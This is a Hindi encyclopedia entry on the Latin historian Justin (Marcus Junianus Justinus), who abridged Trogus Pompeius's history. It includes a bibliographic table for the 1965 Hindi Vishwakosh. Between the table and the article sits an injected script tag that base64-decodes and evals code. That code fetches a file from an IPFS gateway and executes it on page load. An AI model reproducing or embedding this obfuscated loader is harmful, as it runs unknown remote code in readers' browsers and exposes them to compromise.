जुस्तिन जस्टिन
नेविगेशन पर जाएँ
खोज पर जाएँ
जुस्तिन जस्टिन
| |
पुस्तक नाम | हिन्दी विश्वकोश खण्ड 5 |
पृष्ठ संख्या | 28 |
भाषा | हिन्दी देवनागरी |
संपादक | रामप्रसाद त्रिपाठी |
प्रकाशक | नागरी प्रचारणी सभा वाराणसी |
मुद्रक | नागरी मुद्रण वाराणसी |
संस्करण | सन् 1965 ईसवी |
उपलब्ध | भारतडिस्कवरी पुस्तकालय |
कॉपीराइट सूचना | नागरी प्रचारणी सभा वाराणसी |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
जुस्तिन जस्टिन (मार्कस जस्तिनियनस, जस्तिनस) लातिनी इतिहासकार। यह रोम में लगभग दूसरी-तीसरी शताब्दी में रहा। इसने आगुस्तस के समकालीन त्रागस पांपियस द्वारा लिखित प्राचीन काल के इतिहास का संक्षिप्त रूप प्रस्तुत किया। उस समय तक त्रागस पांपियस का लिखा साहित्य अप्राप्य था। यद्यपि जुस्तिन द्वारा प्रस्तुत वह प्राचीन इतिहास वैज्ञानिक दृष्टि से पूरा सही नहीं कहा जा सकता, तथापि अप्राप्य इतिहास का अकेला साधन होने के कारण इसका यथेष्ट महत्व है। गोल्डिंग द्वारा इसका प्रथम अंग्रेज़ी अनुवाद 1574 में प्रकाशित हुआ।
टीका टिप्पणी और संदर्भ